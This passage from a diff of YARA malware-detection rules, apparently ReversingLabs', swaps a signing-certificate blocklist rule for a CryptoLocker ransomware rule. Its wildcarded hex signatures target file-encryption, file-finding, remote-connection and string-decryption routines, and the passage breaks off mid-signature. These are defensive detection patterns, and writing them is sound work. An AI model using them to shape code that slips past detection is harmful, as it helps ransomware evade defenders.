C7 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? + ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 + ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 + ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7 + 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8B F0 6A ?? 58 6A ?? 5F 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? 88 45 ?? 89 5D ?? 89 7D ?? + 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? + 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? 89 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 + EC ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? 88 19 E8 + } + $encrypt_files_p1 = { + 8B FB 89 5D ?? 89 7D ?? 89 5D ?? 8B 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C6 45 ?? ?? 89 + 45 ?? 3B F0 74 ?? 56 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? + 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D + 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 6A + ?? 58 03 F0 3B 75 ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8B B5 ?? ?? ?? ?? + C6 45 ?? ?? 8B 06 89 45 ?? EB ?? 8D 48 ?? 8D 41 ?? 50 51 68 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? + ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? + ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 3B C6 75 ?? 8B 75 + ?? EB ?? 83 7E ?? ?? 74 ?? 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 75 ?? 0F 57 C0 68 ?? + ?? ?? ?? 66 0F 13 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 6A ?? 59 99 + F7 F9 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8B + 75 ?? 8B 7D ?? 89 45 ?? 3B D8 74 ?? 83 EC ?? 8B CC 53 83 61 ?? ?? 83 61 ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 03 F8 83 D6 ?? 6A ?? 58 03 D8 3B 5D ?? 75 ?? 0F AC + F7 ?? C1 EE ?? 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 8B 35 + ?? ?? ?? ?? EB ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 6A ?? 58 03 F0 3B F7 75 ?? 68 ?? ?? ?? ?? E8 + } + $encrypt_files_p2 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 8D 8D ?? ?? ?? ?? 57 + 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 33 DB 50 8D 45 ?? 89 5D ?? 50 E8 ?? ?? ?? ?? 59 + 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 6A ?? 89 59 ?? C7 41 + ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? 8A D8 E8 ?? ?? ?? ?? 84 DB 74 ?? 33 DB E9 ?? + ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 + C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? + ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 33 DB 8B CC 89 5D ?? 56 E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 3B C1 0F 42 C8 3B C7 89 + 4D ?? 0F 42 F8 89 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 9D ?? ?? ?? ?? 75 ?? 83 EC ?? 8B CC 56 E8 ?? ?? ?? + ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? C6 45 ?? ?? 72 ?? 8B 36 E8 + ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D + ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 77 ?? 56 E8 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? + ?? 8B 4D ?? 56 53 51 89 45 ?? E8 ?? ?? ?? ?? 56 53 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? + 83 C4 ?? 89 5D ?? 8B D3 85 C0 0F 84 ?? ?? ?? ?? 8B C8 2B CA 39 4D ?? 8B C1 8B F1 0F + 46 45 ?? 3B F9 89 45 ?? 0F 46 F7 8B 7D ?? 2B CE 89 75 ?? 39 4D ?? 0F 46 4D ?? 89 4D + ?? 85 FF 75 ?? 53 56 FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 0C 3E 8B + } + $encrypt_files_p3 = { + C4 89 4D ?? 89 08 8D 8D ?? ?? ?? ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? E8 + ?? ?? ?? ?? 53 FF 75 ?? 8D 8D ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 + ?? 8D 8D ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 8B D4 8B D8 + 33 C0 03 CF 89 0A 8D 8D ?? ?? ?? ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? E8 + ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 7D ?? 2B 75 ?? 03 + 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 + ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 01 45 ?? 53 E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 8B 84 05 ?? ?? ?? ?? C1 E8 ?? A8 ?? 74 ?? 83 EC ?? + 8B CC FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? + C6 45 ?? ?? 72 ?? 8B 36 E8 ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 7D ?? + 89 55 ?? 6A ?? 5B 3B D0 0F 82 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? + E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC + ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? + ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 8B 48 ?? C6 45 ?? ?? 72 ?? + 8B 00 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? + 8D 45 ?? 0F 43 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 89 59 ?? + 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? B3 ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 8A D8 8D 4D ?? E8 + ?? ?? ?? ?? 8B 4D ?? 8A C3 5F 5E 64 89 0D ?? ?? ?? ?? 5B C9 C3 + } + $find_files = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? + 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? + ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? + 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 + 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 + 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 + F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? + ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 + FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? + 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 + 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B + C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 + ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "D-LINK CORPORATION" and pe.signatures [ i ] . serial == "50:67:33:96:14:c5:cc:21:9c:48:9d:40:42:0f:3b:f9" and 1441238400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Cert_Blocklist_6E32531Ae83992F0573120A5E78De271 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cryptolocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CryptoLocker ransomware." author = "ReversingLabs" - id = "37fc58ea-63d4-569d-968f-f4775403b0bb" - date = "2020-08-05" - modified = "2023-11-08" + id = "8cc3ac4b-9179-5e2c-97e1-65304f9dfe22" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1852-L1868" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoLocker.yara#L3-L154" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b6d54ea8395c3666906b2e60c30b970c2c1b6f55ded874cbcc22dc79391fb34" + logic_hash = "08430b0c5689840d592bdda5dbc2ed06e0d0fa1e2c0f19aff4316580c6a0b23d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "CryptoLocker" + tc_detection_factor = 5 importance = 25 + strings: + $file_loop_1 = { + 55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 45 01 + 00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 75 ?? + 6A ?? 8B 49 ?? 6A ?? 52 56 8B 01 6A ?? 89 55 ?? 8B 00 FF D0 84 C0 0F 84 E6 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 D2 89 + 45 ?? 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 + 0F 8B 45 ?? 8D 0C 13 8B 40 ?? 88 0C 02 42 EB CC 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 6B 85 DB 77 0E 72 08 81 FF ?? ?? ?? + ?? 73 04 8B F7 EB 05 BE ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 39 75 ?? 75 ?? 8B 45 ?? 2B FE 8B 55 ?? 83 DB ?? 2B D7 8B 48 ?? 8B 45 ?? 1B C3 50 8B 31 52 FF 75 ?? FF 75 ?? 8B 06 6A ?? + FF D0 84 C0 74 34 85 DB 77 AD 72 04 85 FF 75 95 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D ?? FE C1 0F B6 C1 88 4D ?? 3B 45 + ?? 0F 82 C6 FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 + } + $file_loop_2 = { + 55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 50 01 + 00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 49 ?? + 8B 75 ?? 8B 01 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 F1 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? + 33 D2 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 + 10 8B 45 ?? 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? + ?? ?? 73 07 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF + 30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 75 ?? 75 ?? 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 + 8B 06 52 FF 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 34 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D + ?? FE C1 0F B6 C1 88 4D ?? 3B 45 ?? 0F 82 BB FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 + } + $file_loop_3 = { + 55 8B EC 83 EC ?? 53 56 8B C1 57 89 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 62 01 00 00 8B 5D ?? 32 C0 0F 57 C0 88 45 ?? 66 0F + 13 45 ?? EB 03 8D 49 ?? 84 C0 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 27 01 00 00 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 13 01 00 00 8B 4D ?? 8B 55 ?? 8B 49 ?? 8B 75 ?? 8B 01 + 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 EE 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 33 D2 8B D8 90 + 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 10 8B 45 ?? + 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? ?? ?? 73 07 + 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? + ?? ?? ?? 85 C0 74 5E 39 75 ?? 75 59 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 8B 06 52 FF + 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 30 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 45 ?? FE C0 88 + 45 ?? 3C ?? 0F 82 BE FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 + } + $encrypt_data_1 = { + 55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 58 48 83 F8 ?? 77 48 8B 5D ?? + 8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? + FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B + 47 ?? 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 + ?? 33 D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2 + } + $encrypt_data_2 = { + 55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 56 48 83 F8 ?? 77 46 8B 5D ?? + 8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 + ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 47 ?? + 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33 + D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2 + } + $encrypt_data_3 = { + 55 8B EC 53 56 8B 75 ?? 8B D9 39 75 ?? 72 4C 83 3B ?? 77 47 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B 56 50 57 E8 ?? ?? ?? ?? 83 + C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5F + 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 5E 83 C8 ?? 5B 5D C2 + } + $decrypt_data_1 = { + 55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 53 48 83 F8 ?? 77 55 8B 75 ?? 39 75 ?? 72 4D 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50 + 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? + 83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 + 89 45 ?? 8B 47 ?? 85 F6 74 28 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8B FF 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 ?? 33 + D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2 + } + $decrypt_data_2 = { + 55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 51 48 83 F8 ?? 77 53 8B 75 ?? 39 75 ?? 72 4B 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50 + 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA + ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 89 45 + ?? 8B 47 ?? 85 F6 74 2A 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8D 64 24 ?? 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33 + D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2 + } + $decrypt_data_3 = { + 55 8B EC 53 8B D9 83 3B ?? 77 56 56 8B 75 ?? 39 75 ?? 73 09 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B + 56 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? + 83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 83 C8 ?? 5B 5D C2 + } + $decrypt_strings_1 = { + 55 8B EC 53 56 8B D9 8B F2 57 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ?? + 8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 D1 E9 5F 5E 5B 8D 41 ?? 5D C3 + } + $decrypt_strings_2 = { + 55 8B EC 53 56 8B D9 57 8B F2 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ?? + 8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 5F D1 E9 5E 8D 41 ?? 5B 5D C3 + } + $decrypt_1 = { + A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C B7 00 00 00 33 D2 8B 0C 95 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0C + 95 ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 89 0C 95 ?? ?? ?? ?? 42 81 FA ?? ?? ?? ?? + 7C C0 81 FA ?? ?? ?? ?? 7D 39 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 81 E1 ?? ?? ?? ?? 33 0E 8B C1 D1 E9 83 E0 ?? 8B 04 + 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 06 83 C6 ?? 81 FE ?? ?? ?? ?? 7C D0 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 + E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B + 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 + ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 + } + $decrypt_2 = { + A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33 + 0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 